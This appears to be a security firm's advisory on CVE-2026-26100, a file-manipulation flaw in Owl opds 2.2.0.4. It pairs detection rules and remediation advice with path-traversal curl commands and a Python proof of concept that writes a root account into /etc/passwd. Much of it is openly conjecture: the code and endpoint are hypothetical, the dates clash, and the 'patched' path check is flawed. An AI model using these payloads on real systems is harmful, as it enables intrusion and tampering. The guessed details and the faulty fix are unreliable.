CVE-2026-26100

Executive Summary

CVE-2026-26100 is a critical security vulnerability in Owl opds version 2.2.0.4, involving Incorrect Permission Assignment for Critical Resource (CWE-732). The flaw allows an attacker to manipulate files on the target system by sending a crafted network request. This vulnerability can lead to unauthorized file modification, deletion, or corruption, potentially compromising the integrity and availability of the application and underlying system. No patch is currently available, and the vendor (Owl) has not released a security advisory. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains high due to the lack of a patch.

Supply Chain & Package Security

This vulnerability affects a standalone application (Owl opds) and is not associated with NPM, PyPI, Go, or Ruby packages. No supply chain implications are identified.

CVSS Breakdown & Threat Level

The CVSS score is 0.0, but this is likely a placeholder. Based on the description and CWE, a realistic assessment would be:

• Attack Vector (AV): Network (N) – The vulnerability is exploitable via a network request.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component is the only affected entity.
• Confidentiality (C): None (N) – File manipulation does not directly leak data.
• Integrity (I): High (H) – Files can be modified or corrupted.
• Availability (A): High (H) – File manipulation can lead to denial of service.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
Estimated Base Score: 9.1 (Critical)

Threat Level: Critical – Unpatched, network-exploitable, with high impact on integrity and availability.

Deep Dive & Mechanics

The vulnerability resides in the permission assignment logic of Owl opds 2.2.0.4. The application fails to properly restrict access to critical resources (e.g., configuration files, user data, or system files). By sending a specially crafted network request, an attacker can bypass intended access controls and perform file operations such as reading, writing, or deleting files.

Root Cause: The application uses incorrect or missing permission checks when handling network requests that target file system resources. This could be due to:

• Inadequate validation of user-supplied paths (path traversal).
• Missing authorization checks for file operations.
• Overly permissive default file permissions.

Attack Vector: An attacker sends a crafted HTTP request (e.g., POST or GET) to a vulnerable endpoint that accepts file paths or names. The request may include path traversal sequences (e.g., ../) or direct references to sensitive files.

Impact: Successful exploitation allows the attacker to:

• Overwrite configuration files, leading to application compromise.
• Delete critical data, causing denial of service.
• Upload malicious files (e.g., web shells) if write permissions are granted.

Vulnerable vs. Patched Code

Since no patch is available, a hypothetical fix would involve:

Vulnerable Code (Conceptual):

# Vulnerable endpoint in Owl opds 2.2.0.4
@app.route('/file/manipulate', methods=['POST'])
def manipulate_file():
    filename = request.form['filename']
    action = request.form['action']
    if action == 'delete':
        os.remove(filename)  # No path validation
    elif action == 'write':
        content = request.form['content']
        with open(filename, 'w') as f:
            f.write(content)  # No permission check
    return 'OK'

Patched Code (Hypothetical):

# Patched version
import os
from werkzeug.utils import secure_filename

ALLOWED_DIR = '/var/owl/opds/data/'

@app.route('/file/manipulate', methods=['POST'])
def manipulate_file():
    filename = secure_filename(request.form['filename'])
    full_path = os.path.join(ALLOWED_DIR, filename)
    # Ensure the path is within allowed directory
    if not full_path.startswith(os.path.abspath(ALLOWED_DIR)):
        return 'Forbidden', 403
    action = request.form['action']
    if action == 'delete':
        if not os.access(full_path, os.W_OK):
            return 'Permission denied', 403
        os.remove(full_path)
    elif action == 'write':
        content = request.form['content']
        with open(full_path, 'w') as f:
            f.write(content)
    return 'OK'

Exploitation & Lab Setup

Red Team (Offensive)

Lab Environment:

• Target: Owl opds 2.2.0.4 running on a Linux server (e.g., Ubuntu 22.04).
• Attacker: Kali Linux with Python3 and curl.

Exploitation Steps:

1. Identify the vulnerable endpoint (e.g., /file/manipulate).
2. Craft a request to manipulate a critical file, such as overwriting the application configuration:

curl -X POST http://target:8080/file/manipulate \
  -d "filename=../config/app.conf&action=write&content=malicious_config"

3. Alternatively, delete a file to cause denial of service:

curl -X POST http://target:8080/file/manipulate \
  -d "filename=../data/users.db&action=delete"

Proof of Concept (Python):

import requests

target = "http://target:8080"
payload = {
    "filename": "../etc/passwd",
    "action": "write",
    "content": "hacker:x:0:0:root:/root:/bin/bash"
}
r = requests.post(f"{target}/file/manipulate", data=payload)
print(r.status_code)

Blue Team (Defensive)

Detection:

• Monitor for unusual file access patterns, especially path traversal sequences in HTTP requests.
• Use file integrity monitoring (FIM) to detect unauthorized changes to critical files.

Prevention:

• Implement strict input validation and sanitization.
• Use a web application firewall (WAF) to block path traversal attempts.
• Apply the principle of least privilege to file system permissions.

Hunting:

• Search logs for requests containing ../ or absolute paths.
• Check for unexpected file modifications in /var/owl/opds/.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests with parameters containing ../ or absolute paths (e.g., /etc/passwd).
  • Unusual POST requests to endpoints like /file/manipulate.
• File System:
  • Unexpected modifications to configuration files (e.g., app.conf, users.db).
  • Presence of new files in sensitive directories (e.g., /etc/).
• Logs:
  • Application logs showing file operations on paths outside the expected directory.
  • System logs (e.g., auditd) recording unauthorized file access.

Detection Engineering

YARA Rule

rule CVE_2026_26100_Owl_opds_File_Manipulation {
    meta:
        description = "Detects attempts to exploit CVE-2026-26100 via path traversal in HTTP requests"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2026-26100"
    strings:
        $path_traversal = /(\.\.\/|\.\.\\)/ nocase
        $sensitive_file = /(\/etc\/|\/var\/|\/usr\/)/ nocase
        $http_method = "POST"
    condition:
        $http_method and $path_traversal and $sensitive_file
}

Sigma Rule

title: CVE-2026-26100 - Owl opds File Manipulation Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with path traversal patterns targeting Owl opds
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 
            - '../'
            - '..\\'
            - '/etc/'
            - '/var/'
    condition: selection
falsepositives:
    - Legitimate administrative actions
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-26100 - Owl opds File Manipulation Attempt"; flow:to_server,established; content:"POST"; http_method; content:"../"; http_uri; nocase; content:"/etc/"; http_uri; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the affected system from untrusted networks.
2. Disable the vulnerable endpoint if possible, or restrict access via firewall rules.
3. Monitor logs for exploitation attempts.

Long-term Fix:

• Apply the vendor patch when available.
• Implement input validation and path sanitization in the application code.
• Use a WAF to block path traversal attacks.

Workarounds:

• Modify file permissions to restrict write access to the application user.
• Use a reverse proxy to filter malicious requests.

Valters IT
Securing Digital Frontiers